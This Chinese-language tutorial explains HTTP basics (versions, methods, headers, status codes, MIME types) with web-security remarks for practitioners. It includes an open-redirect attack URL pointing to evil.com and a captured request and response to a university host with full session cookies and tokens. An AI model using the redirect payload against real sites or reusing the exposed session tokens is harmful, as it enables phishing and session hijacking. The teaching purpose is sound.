HTTP协议与Web安全漏洞

概述

在当今互联网时代,Web应用已经渗透到社会生活的方方面面,从电子商务、在线银行到社交媒体和企业内部系统,几乎所有的互联网服务都构建在HTTP协议之上。然而,随着Web应用的复杂性不断增加,Web安全问题也日益突出。根据OWASP(开放Web应用安全项目)的统计,Web应用安全漏洞已经连续多年成为影响最广泛的安全威胁类型。

本文旨在系统性地介绍HTTP协议的基础知识以及常见的Web安全漏洞,帮助安全从业人员建立完整的知识体系。我们将从HTTP协议的底层原理出发,深入剖析请求与响应的每一个细节,然后系统性地讲解各类Web安全漏洞的原理、利用方式和防御措施。文章将涵盖注入类漏洞、跨站类漏洞、文件类漏洞、信息泄露类漏洞、服务器配置类漏洞、SSRF漏洞、逻辑漏洞、反序列化漏洞以及第三方组件漏洞等多个维度,力求为读者提供一份全面、详尽的技术参考资料。


第一章 HTTP协议基础

1.1 HTTP协议概述

1.1.1 HTTP的发展历史

HTTP(HyperText Transfer Protocol,超文本传输协议)是互联网上应用最为广泛的应用层协议之一。它最初由蒂姆·伯纳斯-李(Tim Berners-Lee)于1989年在欧洲核子研究组织(CERN)提出,最初的目的是为了解决如何在不同计算机之间共享和传输HTML文档的问题。HTTP协议的发展经历了多个重要版本:

HTTP/0.9(1991年)

HTTP/0.9是最早的版本,极其简单,只支持GET请求方法,没有任何头部信息,也不需要版本号标识。请求格式如下:

1
GET /index.html

响应也非常简单,只返回HTML内容,没有状态码或元数据:

1
2
3
<html>
<body>Hello World</body>
</html>

这个版本虽然简陋,但确立了客户端-服务器架构的基础模式。

HTTP/1.0(1996年)

HTTP/1.0是第一个正式标准化的版本,引入了许多重要的特性:

  • 支持多种请求方法:GET、POST、HEAD
  • 引入了请求头和响应头的概念
  • 支持多媒体内容的Content-Type标识
  • 引入了状态码机制
  • 支持持久连接的选项

HTTP/1.0的主要问题是每个请求-响应周期都需要建立新的TCP连接,效率较低。

HTTP/1.1(1999年)

HTTP/1.1是目前使用最广泛的版本,在HTTP/1.0的基础上进行了大量改进:

  • 持久连接(Keep-Alive):默认开启TCP连接复用,显著提升性能
  • 管道化(Pipelining):客户端可以发送多个请求而无需等待每个响应
  • 分块传输编码(Chunked Transfer Encoding):支持动态内容的流式传输
  • 新增请求方法:PUT、DELETE、OPTIONS、TRACE、CONNECT
  • 缓存控制:引入了更完善的Cache-Control和ETag机制
  • Host头:支持虚拟主机,使得多个网站可以共享同一个IP地址

HTTP/1.1的主要缺点是:虽然支持持久连接和管道化,但响应必须按照请求的顺序返回(线头阻塞,Head-of-Line Blocking),而且头部没有压缩,重复的Header信息造成带宽浪费。

HTTP/2(2015年)

HTTP/2是HTTP协议的重大升级,主要特性包括:

  • 二进制分帧:将消息分解为更小的帧进行传输,而非文本格式
  • 多路复用(Multiplexing):在一个TCP连接上并行传输多个请求和响应,彻底解决了线头阻塞问题
  • 头部压缩(HPACK):使用专用的压缩算法压缩头部信息
  • 服务器推送(Server Push):服务器可以主动向客户端推送资源
  • 流优先级:支持为不同的流设置优先级

HTTP/2的缺点是需要TLS加密(虽然规范允许非加密,但主流浏览器只支持加密版本),并且在丢包率较高的网络环境下性能可能不如HTTP/1.1。

HTTP/3(2022年)

HTTP/3是最新的版本,基于QUIC协议(UDP代替TCP):

  • 基于UDP:避免了TCP的线头阻塞问题
  • 连接建立更快:0-RTT或1-RTT的连接建立时间
  • 更好的移动网络适应:连接迁移机制,断网后可以快速恢复
  • 内置TLS 1.3:安全性更高

HTTP/3目前正在逐步推广中,主流浏览器已经支持。

1.1.2 HTTP的工作模型

HTTP采用经典的客户端-服务器模型,其工作流程可以概括为以下几个步骤:

  1. 建立连接:客户端(通常是浏览器)与服务器建立TCP连接。对于HTTPS,还需要完成TLS握手过程。

  2. 发送请求:客户端构建HTTP请求消息,包含请求行、请求头和可选的请求体。

  3. 服务器处理:服务器接收请求后,根据请求的内容执行相应的处理:

    • 解析请求头和请求体
    • 路由到对应的处理逻辑
      -执行业务逻辑(访问数据库、调用服务等)
    • 生成响应内容
  4. 返回响应:服务器构建HTTP响应消息,包含响应行、响应头和响应体,返回给客户端。

  5. 关闭连接:根据连接类型,可能保持连接以复用,或关闭连接(HTTP/1.0默认关闭)。

无状态性

HTTP协议的核心特点是无状态性(Stateless)。这意味着服务器不会保存任何关于客户端请求的历史信息,每个请求都被视为独立的、不相关的。服务器处理每个请求时,不会考虑之前请求的状态。

无状态设计的优势在于简化了服务器的实现,使得服务器可以很容易地进行水平扩展。但这也带来了挑战:当需要维护用户会话时(如购物车、登录状态),需要在客户端或服务器端引入额外的状态管理机制。

1.1.3 HTTP与HTTPS的区别

HTTP和HTTPS的核心区别在于传输层安全性:

特性HTTPHTTPS
端口80443
协议层TCPTLS/SSL + TCP
数据传输明文加密
身份验证服务器证书验证
性能略高略有额外开销
搜索引擎优化不利有利

HTTPS的工作原理:

  1. 客户端发起HTTPS连接请求
  2. 服务器返回数字证书(包含公钥和证书颁发机构签名)
  3. 客户端验证证书的有效性(是否过期、是否由可信CA颁发、域名是否匹配)
  4. 客户端生成随机对称密钥,使用服务器公钥加密后发送
  5. 服务器用私钥解密,获得对称密钥
  6. 双方使用对称密钥进行加密通信

HTTPS不仅提供了机密性(防止窃听),还提供了完整性(防止篡改)和认证(验证服务器身份)。现代Web安全中,HTTPS已经是标配,Google等搜索引擎明确表示会优先收录HTTPS网站。

1.1.4 HTTP在Web安全中的地位

HTTP作为Web应用的基础协议,其安全性直接影响整个Web应用的安全。理解HTTP协议是进行Web安全测试和防御的基础:

  1. 协议理解是漏洞分析的前提:许多Web漏洞(如SQL注入、XSS、CSRF)的原理都与HTTP协议的工作方式密切相关。

  2. 请求走私(HTTP Desync):一种利用HTTP/1.1规范中的模糊地带进行攻击的高级技术。

  3. HTTP头安全:许多安全响应头(如CSP、X-Frame-Options、HSTS)都是通过HTTP头实现的。

  4. API安全:现代Web应用广泛使用RESTful API,这些API同样基于HTTP协议。

  5. WebSocket安全:虽然通信协议不同,但握手过程基于HTTP。

对于安全工程师而言,深入理解HTTP协议的各种细节是必备技能,无论是进行渗透测试、安全审计还是安全开发。

1.2 HTTP请求详解

HTTP请求是客户端向服务器发送的数据结构。一个完整的HTTP请求由请求行、请求头、空行和可选的请求体四部分组成。

1.2.1 请求行

请求行包含三个部分:请求方法、请求URI和HTTP版本,格式为:

1
Method URI HTTP/Version

例如:

1
2
GET /user/index HTTP/1.1
POST /api/login HTTP/1.1

主要请求方法详解

GET方法

GET是最常用的HTTP方法,用于请求指定的资源。GET请求的特点是:

  • 参数通过URL传递(查询字符串)
  • 长度受浏览器和服务器限制(通常2KB-8KB)
  • 可以被缓存
  • 会被保存在浏览器历史记录中
  • 不应该用于敏感数据(URL会出现在日志中)
  • 应该是幂等的(多次执行结果相同)
1
2
GET /products?category=electronics&page=1 HTTP/1.1
Host: www.example.com

POST方法

POST用于向服务器提交数据进行处理:

  • 参数放在请求体中
  • 没有长度限制(受服务器配置影响)
  • 通常不会被缓存
  • 不会被保存在浏览器历史记录中
  • 不幂等(多次提交可能产生不同结果)
  • 常用于表单提交、文件上传、API调用
1
2
3
4
5
6
POST /api/users HTTP/1.1
Host: www.example.com
Content-Type: application/json
Content-Length: 45

{"username":"test","email":"test@example.com"}

PUT方法

PUT用于向服务器上传资源:

  • 如果资源不存在则创建,如果存在则更新
  • 幂等操作
  • 常用于API设计中的更新操作
1
2
3
4
5
PUT /api/users/123 HTTP/1.1
Host: www.example.com
Content-Type: application/json

{"name":"Updated Name"}

DELETE方法

DELETE用于删除指定的资源:

  • 幂等操作(删除已删除的资源仍是成功)
  • 常用于RESTful API
1
2
DELETE /api/users/123 HTTP/1.1
Host: www.example.com

PATCH方法

PATCH用于部分更新资源:

  • 与PUT不同,PUT是完整替换,PATCH是部分修改
  • 非幂等(如果PATCH多次应用,可能产生不同结果)
1
2
3
4
5
PATCH /api/users/123 HTTP/1.1
Host: www.example.com
Content-Type: application/json

{"email":"newemail@example.com"}

HEAD方法

HEAD与GET类似,但服务器只返回头部信息,不返回响应体:

  • 用于检查资源是否存在
  • 用于检查缓存是否有效
  • 比GET更快(不需要传输整个响应体)
1
2
HEAD /large-file.zip HTTP/1.1
Host: www.example.com

OPTIONS方法

OPTIONS用于获取服务器支持的HTTP方法:

  • CORS预检请求使用OPTIONS
  • 用于检查跨域能力
1
2
3
OPTIONS /api/data HTTP/1.1
Host: www.example.com
Origin: https://other-site.com

TRACE方法

TRACE用于诊断目的,会将请求环回给客户端:

  • 可以用于XST(Cross-Site Tracing)攻击
  • 生产环境通常禁用

CONNECT方法

CONNECT用于建立隧道,通常用于SSL代理:

  • 用于HTTPS代理
  • 用于WebSocket(握手后升级为WebSocket协议)

1.2.2 请求头详解

请求头以键值对的形式提供请求的元数据。以下是常见请求头的详细说明:

Host

指定请求的目标主机名和端口号:

1
2
Host: www.example.com
Host: api.example.com:8080

这是HTTP/1.1中唯一必需的请求头。由于一个服务器可能托管多个网站(虚拟主机),Host头用于区分请求的目标站点。

安全角度:攻击者可能通过修改Host头进行主机头注入攻击,或者利用HTTP走私绕过安全检查。

User-Agent

标识客户端的类型和版本信息:

1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0

安全角度

  • 可以用于指纹识别用户
  • 可能被用于绕过基于User-Agent的访问控制
  • 钓鱼攻击中可能伪装成可信客户端

Accept

告知服务器客户端能够处理的媒体类型:

1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8

q值表示优先级,范围0-1。

Accept-Encoding

指定支持的压缩算法:

1
Accept-Encoding: gzip, deflate, br

安全角度:某些攻击可能针对特定的压缩算法,如BREACH攻击利用HTTP压缩窃取敏感数据。

Accept-Language

指定客户端偏好的语言:

1
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8

Cookie

发送存储在客户端的Cookie数据:

1
Cookie: session_id=abc123; user_pref=dark_mode

安全角度

  • Cookie是会话管理的核心,窃取Cookie可以劫持会话
  • 某些Cookie可能包含敏感信息
  • 跨站Cookie(不带Secure或SameSite)可能被窃取

Referer

表示请求的来源URL:

1
Referer: https://www.google.com/search?q=example

安全角度

  • 可以用于防盗链(检查Referer防止资源被盗用)
  • 可能泄露用户的浏览历史
  • 可以被伪造(不完全可靠)

Origin

与Referer类似,但只用于CORS请求:

1
Origin: https://example.com

Authorization

用于携带身份认证信息:

1
2
3
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
Authorization: Digest username="admin", realm="admin", nonce="abc", uri="/admin", response="xyz"

安全角度

  • Basic认证的凭证是Base64编码(不是加密),容易被解码
  • Bearer Token可能存在JWT安全漏洞
  • 凭证不应该出现在URL中(会被记录在日志)

Content-Type

指定请求体的媒体类型:

1
2
3
Content-Type: application/json
Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

安全角度:某些Content-Type可能被滥用,如multipart/form-data可能用于文件上传漏洞。

Content-Length

指定请求体的字节长度:

1
Content-Length: 1234

安全角度

  • HEAD请求返回0但保留Content-Length可能暴露响应大小
  • 与HTTP走私攻击相关

X-Forwarded-For

标识原始客户端的IP地址(常用于代理/负载均衡场景):

1
X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178

安全角度

  • 攻击者可能伪造此头来绕过IP限制
  • 应该信任代理服务器设置的真实IP

X-Requested-With

通常用于标识AJAX请求:

1
X-Requested-With: XMLHttpRequest

Sec-Fetch-* 系列头

用于安全策略执行的新版Fetch元数据请求头:

1
2
3
4
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document

安全角度:这些头可以更好地防止CSRF攻击,比Referer更可靠。

1.2.3 请求体

请求体的格式由Content-Type决定。以下是常见的几种格式:

application/x-www-form-urlencoded

URL编码的表单数据,格式为key=value&key=value:

1
2
3
4
5
6
POST /login HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

username=admin&password=123456&remember=on

application/json

JSON格式的数据:

1
2
3
4
5
6
7
8
9
10
POST /api/users HTTP/1.1
Host: www.example.com
Content-Type: application/json
Content-Length: 56

{
"username": "admin",
"email": "admin@example.com",
"roles": ["user", "admin"]
}

multipart/form-data

用于文件上传的格式,包含多个部分,每部分有自己的Content-Type:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/upload HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="avatar"; filename="avatar.png"
Content-Type: image/png

[二进制图片数据]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

application/octet-stream

二进制数据,通常用于未知类型的文件上传。

1.2.4 实际请求样例解析

以下是一个真实的HTTP请求示例,结合前文内容进行逐行解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /user/index HTTP/2
Host: 1906.usst.edu.cn
Cookie: CLIENT_URL=; _ga=GA1.1.2002883381.1730684000; _ga_2R0FQPRD5M=GS1.1.1730707443.3.0.1730707443.0.0.0; iPlanetDirectoryPro=EBOTxPUUTgilO21rjPApOc; session=V2-1-c91188f3-71ec-40dd-9131-69bf59153f47.MTY2NA.1730861025306.Ji_6leAB1YGFSbMMoE-cVKxkehg
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="130", "Microsoft Edge";v="130", "Not?A_Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-GB;q=0.7,en-US;q=0.6
Priority: u=0, i

逐行解析

  • GET /user/index HTTP/2:请求方法为GET,请求路径为/user/index,使用HTTP/2协议
  • Host: 1906.usst.edu.cn:目标主机为1906.usst.edu.cn
  • Cookie: ...:发送了多个Cookie,包含会话ID和Google Analytics的跟踪ID
  • Upgrade-Insecure-Requests: 1:告诉服务器客户端prefer升级到HTTPS
  • User-Agent: ...:标识客户端为Windows 10上的Chrome浏览器(实际是Edge内核)
  • Accept: ...:客户端接受HTML、XHTML、XML、各种图片格式等
  • Sec-Fetch-*:Fetch元数据请求头,表示请求来自跨站导航
  • Sec-Ch-Ua-*:客户端提示头,提供浏览器和平台信息
  • Accept-Encoding: gzip, deflate, br:支持gzip、deflate和Brotli压缩
  • Accept-Language: ...:首选英文,其次中文
  • Priority: u=0, i:HTTP/2优先级设置

1.2.5 安全角度:可能被利用的请求Header

从安全角度来看,某些请求头可能被恶意利用:

  1. Host头利用

    • Host头注入:注入恶意主机名到缓存或日志
    • 密码重置毒化:利用Host头生成密码重置链接
  2. X-Forwarded-For伪造

    • 绕过IP限制和黑名单
    • 绕过频率限制
  3. Referer泄露

    • 泄露内网URL
    • 用户隐私泄露
  4. User-Agent指纹

    • 针对特定浏览器的漏洞利用
  5. Content-Type嗅探

    • MIME类型嗅探攻击

1.3 HTTP响应详解

HTTP响应是服务器返回给客户端的数据结构,由状态行、响应头、空行和响应体组成。

1.3.1 响应行

响应行包含协议版本、状态码和状态文本:

1
2
HTTP/1.1 200 OK
HTTP/2 404 Not Found

状态码是三位数字,分为五类:

  • 1xx:信息性状态码
  • 2xx:成功状态码
  • 3xx:重定向状态码
  • 4xx:客户端错误状态码
  • 5xx:服务器错误状态码

1.3.2 响应头详解

以下是常见响应头的详细说明:

Server

标识服务器软件类型和版本:

1
2
3
4
Server: Apache/2.4.41 (Unix) OpenSSL/1.1.1d PHP/7.4.3
Server: nginx/1.18.0
Server: Microsoft-IIS/10.0
Server: Tengine

安全角度:Server头可能暴露服务器版本,便于攻击者寻找对应的漏洞。生产环境通常应该隐藏或修改Server头。

Date

响应生成的日期和时间:

1
Date: Tue, 05 Nov 2024 02:43:45 GMT

Content-Type

指定响应体的媒体类型:

1
2
3
Content-Type: text/html; charset=utf-8
Content-Type: application/json; charset=utf-8
Content-Type: image/png

安全角度

  • 错误的Content-Type可能导致MIME类型嗅探漏洞
  • 可能被用于绕过安全检查(如将HTML伪装成图片上传)

Content-Length

响应体的字节长度:

1
Content-Length: 12345

Content-Encoding

响应的编码方式(通常指压缩):

1
2
Content-Encoding: gzip
Content-Encoding: br

Set-Cookie

设置客户端Cookie:

1
2
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Strict
Set-Cookie: user_pref=dark; Path=/; Max-Age=2592000

安全角度

  • Secure:Cookie只能通过HTTPS传输
  • HttpOnly:Cookie不能被JavaScript访问(防止XSS窃取)
  • SameSite:防止CSRF攻击
  • Path:限制Cookie的作用范围

Cache-Control

控制缓存行为:

1
2
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: public, max-age=31536000

安全角度

  • no-store:敏感数据不应该被缓存
  • 某些缓存配置可能导致敏感数据泄露

X-Frame-Options

防止点击劫持攻击:

1
2
3
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://trusted-site.com

安全角度:设置为DENY或SAMEORIGIN防止页面被嵌入iframe。

X-Content-Type-Options

防止MIME类型嗅探:

1
X-Content-Type-Options: nosniff

安全角度:启用后浏览器不会猜测Content-Type,严格遵循服务器声明的类型。

X-XSS-Protection

浏览器XSS过滤器(已被CSP取代,现代浏览器默认关闭):

1
X-XSS-Protection: 1; mode=block

Strict-Transport-Security(HSTS)

强制使用HTTPS:

1
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

安全角度:设置后,浏览器在指定时间内只通过HTTPS访问该站点。

Content-Security-Policy(CSP)

控制页面可以加载的资源来源:

1
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted-cdn.com; img-src *; style-src 'self' 'unsafe-inline'

安全角度:CSP是防御XSS的重要手段,可以限制脚本执行来源。

Access-Control-Allow-Origin

CORS跨域访问控制:

1
2
Access-Control-Allow-Origin: https://trusted-site.com
Access-Control-Allow-Origin: *

安全角度

  • * 允许任何来源访问可能导致数据泄露
  • 敏感接口不应该设置Access-Control-Allow-Origin: *

Access-Control-Allow-Methods

允许的跨域HTTP方法:

1
Access-Control-Allow-Methods: GET, POST, PUT, DELETE

Access-Control-Allow-Headers

允许的跨域请求头:

1
Access-Control-Allow-Headers: Authorization, Content-Type, X-Requested-With

Access-Control-Allow-Credentials

是否允许发送Cookie:

1
Access-Control-Allow-Credentials: true

Access-Control-Expose-Headers

允许JavaScript访问的响应头:

1
Access-Control-Expose-Headers: X-Session-ID

X-Session-ID

自定义安全会话标识头(样例中的响应):

1
X-Session-Id: V2-1-c91188f3-71ec-40dd-9131-69bf59153f47.MTY2NA.1730861025553.yPkTeIfHCD7agsdqRWZiZwPe5Es

安全角度:这表明应用使用了额外的会话标识机制。

1.3.3 实际响应样例解析

以下是与请求对应的HTTP响应示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HTTP/2 200 OK
Server: Tengine
Date: Tue, 05 Nov 2024 02:43:45 GMT
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Access-Control-Expose-Headers: X-SESSION-ID
Set-Cookie: session=V2-1-c91188f3-71ec-40dd-9131-69bf59153f47.MTY2NA.1730861025553.yPkTeIfHCD7agsdqRWZiZwPe5Es; Path=/
X-Session-Id: V2-1-c91188f3-71ec-40dd-9131-69bf59153f47.MTY2NA.1730861025553.yPkTeIfHCD7agsdqRWZiZwPe5Es
Access-Control-Allow-Headers: Authorization,DNT,X-SESSION-ID,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

<!doctype html>
<html lang="zh-CN" version="1.72.74918-release-377785fd" host="https://1906.usst.edu.cn:443/" delivery-org="usst">
<head>

逐行解析

  • HTTP/2 200 OK:HTTP/2协议,返回200成功状态码
  • Server: Tengine:服务器为阿里云Tengine(淘宝定制的Nginx)
  • Date: ...:响应生成时间
  • Content-Type: text/html; charset=utf-8:响应内容为HTML,使用UTF-8编码
  • Vary: Accept-Encoding:缓存需要考虑Accept-Encoding头
  • Access-Control-Expose-Headers: X-SESSION-ID:允许JavaScript读取X-SESSION-ID头
  • Set-Cookie: session=...; Path=/:设置会话Cookie,作用范围为整个站点
  • X-Session-Id: ...:额外的会话标识头,与Cookie中的session值相同
  • Access-Control-Allow-Headers: ...:允许的跨域请求头列表
  • Access-Control-Allow-Origin: *:允许任何来源的跨域请求(安全风险)
  • X-Content-Type-Options: nosniff:启用MIME类型嗅探防护
  • X-Frame-Options: SAMEORIGIN:页面只能被同源页面嵌入iframe

安全分析

  1. 风险点Access-Control-Allow-Origin: * 过于宽松,敏感接口不应该允许任意来源访问
  2. 优点:设置了X-Content-Type-Options和X-Frame-Options安全头
  3. Cookie缺少属性:Set-Cookie没有设置HttpOnly、Secure和SameSite属性,存在安全隐患
  4. Server头暴露:暴露了服务器类型为Tengine

1.3.4 安全相关的响应头汇总

现代Web安全依赖于多层响应头保护:

响应头作用推荐值
X-Frame-Options防止点击劫持DENY 或 SAMEORIGIN
X-Content-Type-Options防止MIME嗅探nosniff
X-XSS-ProtectionXSS过滤器(已过时)1; mode=block
Content-Security-Policy资源加载策略default-src ‘self’
Strict-Transport-Security强制HTTPSmax-age=31536000; includeSubDomains
Access-Control-Allow-Origin跨域策略具体域名,非*
Set-Cookie会话Cookie属性HttpOnly; Secure; SameSite=Strict
Cache-Control缓存策略no-store for sensitive data
Referrer-PolicyReferer策略no-referrer-when-downgrade
Permissions-Policy浏览器功能策略geolocation=(), camera=()

1.4 HTTP状态码详解

HTTP状态码是服务器返回的标准化响应标识,用于告诉客户端请求的处理结果。正确理解和运用状态码对于Web开发和安全测试都至关重要。

1.4.1 1xx 信息性状态码

1xx状态码表示服务器已接收请求,需要客户端继续发送请求的其余部分。

100 Continue

客户端应继续发送请求。当客户端发送一个包含较大请求体的请求时,可以先发送Expect: 100-continue头部,服务器返回100后再发送请求体。

1
HTTP/1.1 100 Continue

使用场景

  • 上传大文件前的确认
  • 避免发送大量数据后被服务器拒绝

101 Switching Protocols

服务器同意切换协议。通常用于从HTTP升级到WebSocket:

1
2
3
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade

1.4.2 2xx 成功状态码

200 OK

最常见的成功状态码,表示请求已成功处理:

1
2
3
4
HTTP/1.1 200 OK
Content-Type: application/json

{"status": "success", "data": {...}}

201 Created

请求成功并且创建了新的资源。通常用于POST请求创建资源:

1
2
3
4
HTTP/1.1 201 Created
Location: /users/123

{"id": 123, "username": "newuser"}

202 Accepted

请求已接受,但服务器尚未处理。常用于异步操作:

1
2
3
4
HTTP/1.1 202 Accepted
Location: /tasks/456

{"task_id": 456, "status": "processing"}

204 No Content

请求成功,但没有返回内容。通常用于DELETE操作或操作成功但无需返回数据:

1
HTTP/1.1 204 No Content

206 Partial Content

成功返回部分资源。通常用于断点续传或范围请求:

1
2
3
4
5
HTTP/1.1 206 Partial Content
Content-Range: bytes 0-999/10000
Content-Length: 1000

[部分数据]

1.4.3 3xx 重定向状态码

301 Moved Permanently

永久重定向。请求的资源已被永久移动到新URL,搜索引擎会更新索引:

1
2
HTTP/1.1 301 Moved Permanently
Location: https://new-domain.com/old-page

302 Found

临时重定向。请求的资源临时位于新URL,搜索引擎不会更新索引:

1
2
HTTP/1.1 302 Found
Location: https://other-page.com/temp

303 See Other

强制使用GET方法重定向到新URL。通常在POST操作后重定向:

1
2
HTTP/1.1 303 See Other
Location: /results/123

304 Not Modified

资源未修改,客户端可以使用缓存。服务器不返回响应体:

1
2
HTTP/1.1 304 Not Modified
ETag: "abc123"

307 Temporary Redirect

临时重定向,但必须保持原请求方法不变。302可能改变POST为GET,307不会:

1
2
HTTP/1.1 307 Temporary Redirect
Location: https://temp-site.com/page

308 Permanent Redirect

永久重定向,且必须保持原请求方法不变:

1
2
HTTP/1.1 308 Permanent Redirect
Location: https://new-domain.com/page

301/302/303/307/308 区别对比表

状态码永久/临时方法改变典型用途
301永久可能变为GET域名迁移、URL规范化
302临时可能变为GET临时维护、AB测试
303临时强制GETPOST后的重定向
307临时保持方法临时重定向,保持表单提交
308永久保持方法永久重定向,保持PUT/DELETE

安全考虑:开放重定向漏洞

重定向功能如果不正确验证目标URL,可能导致开放重定向漏洞。攻击者可以利用重定向功能:

  • 将用户重定向到钓鱼网站
  • 利用可信网站的域名进行钓鱼
  • 绕过过滤器

示例攻击场景:

1
2
正常重定向:https://site.com/redirect?url=/home
攻击者利用:https://site.com/redirect?url=https://evil.com/fake-login

1.4.4 4xx 客户端错误状态码

400 Bad Request

服务器无法理解请求格式。可能是请求语法错误、请求参数无效等:

1
2
3
4
HTTP/1.1 400 Bad Request
Content-Type: application/json

{"error": "Invalid JSON format"}

401 Unauthorized

请求需要身份验证。客户端未提供认证信息或认证失败:

1
2
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="api"

安全角度

  • 401提示该资源存在,只是需要认证
  • 与403的区别:403表示即使认证了也无法访问

403 Forbidden

服务器理解请求,但拒绝执行。即使提供认证也无法访问:

1
2
3
4
HTTP/1.1 403 Forbidden
Content-Type: application/json

{"error": "Access denied"}

安全角度

  • 403是明确拒绝,信息价值高
  • 可能暴露敏感资源的存在

404 Not Found

请求的资源不存在:

1
2
3
4
HTTP/1.1 404 Not Found
Content-Type: text/html

<html>...</html>

安全角度

  • 枚举敏感路径(/admin, /backup, /.git等)
  • 404页面的信息泄露

405 Method Not Allowed

请求方法不被允许,但该资源存在:

1
2
HTTP/1.1 405 Method Not Allowed
Allow: GET, POST

安全角度

  • Allow头暴露了支持的HTTP方法
  • 可能发现隐藏的API端点

429 Too Many Requests

请求频率超限:

1
2
3
4
HTTP/1.1 429 Too Many Requests
Retry-After: 3600

{"error": "Rate limit exceeded"}

1.4.5 5xx 服务器错误状态码

500 Internal Server Error

通用的服务器内部错误:

1
2
3
4
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain

Internal Server Error

安全角度

  • 500错误可能暴露详细错误信息
  • 错误页面应该隐藏技术细节

502 Bad Gateway

作为网关或代理的服务器收到无效响应:

1
HTTP/1.1 502 Bad Gateway

503 Service Unavailable

服务器暂时不可用(过载或维护):

1
2
HTTP/1.1 503 Service Unavailable
Retry-After: 3600

504 Gateway Timeout

网关超时:

1
HTTP/1.1 504 Gateway Timeout

1.4.6 状态码与安全关系总结表

状态码含义渗透测试信息价值安全考虑
100继续正常通信
101协议切换WebSocket升级
200成功确认功能存在
201已创建资源创建成功
204无内容DELETE成功
301/302重定向开放重定向风险
304未修改缓存有效
400错误请求输入验证失败原因
401未认证资源存在需认证
403禁止资源存在但无权限
404未找到路径枚举
405方法不允许暴露可用方法
429请求过多限流机制存在
500服务器错误错误信息泄露
502/503/504网关/服务错误架构信息

1.5 Content-Type与MIME类型

1.5.1 Content-Type的作用与格式

Content-Type是HTTP中最重要的头部之一,用于告诉客户端(通常是浏览器)如何处理响应内容。其基本格式为:

1
Content-Type: type/subtype; parameter=value; parameter=value

例如:

1
2
3
Content-Type: text/html; charset=utf-8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Type: application/json; charset=utf-8; boundary=------

1.5.2 完整的MIME类型分类

文本类型

MIME类型说明文件扩展名
text/plain纯文本.txt
text/htmlHTML文档.html, .htm
text/cssCSS样式表.css
text/javascriptJavaScript代码.js
text/xmlXML文档.xml
text/csvCSV文件.csv
text/markdownMarkdown文档.md

图片类型

MIME类型说明文件扩展名
image/jpegJPEG图片.jpg, .jpeg
image/pngPNG图片.png
image/gifGIF图片.gif
image/svg+xmlSVG矢量图形.svg
image/webpWebP图片.webp
image/x-iconICO图标.ico
image/bmpBMP位图.bmp
image/tiffTIFF图片.tiff, .tif

音频类型

MIME类型说明文件扩展名
audio/mpegMP3音频.mp3
audio/oggOGG音频.ogg
audio/wavWAV音频.wav
audio/webmWebM音频.weba
audio/midiMIDI音频.mid, .midi
audio/x-aacAAC音频.aac

视频类型

MIME类型说明文件扩展名
video/mp4MP4视频.mp4
video/mpegMPEG视频.mpeg, .mpg
video/oggOGG视频.ogv
video/webmWebM视频.webm
video/x-msvideoAVI视频.avi
video/3gpp3GPP视频.3gp

应用程序类型

MIME类型说明文件扩展名
application/jsonJSON数据.json
application/xmlXML数据.xml
application/pdfPDF文档.pdf
application/zipZIP压缩文件.zip
application/gzipGZIP压缩文件.gz
application/javascriptJavaScript代码.js
application/octet-stream任意二进制流*
application/x-www-form-urlencodedURL编码表单-
application/xhtml+xmlXHTML文档.xhtml
application/vnd.ms-excelExcel文件.xls
application/vnd.openxmlformats-officedocument.spreadsheetml.sheetExcel 2007+.xlsx
application/mswordWord文档.doc
application/vnd.openxmlformats-officedocument.wordprocessingml.documentWord 2007+.docx

多部分类型

MIME类型说明
multipart/form-data表单数据(文件上传)
multipart/byteranges部分响应(范围请求)
multipart/mixed混合内容(邮件附件)
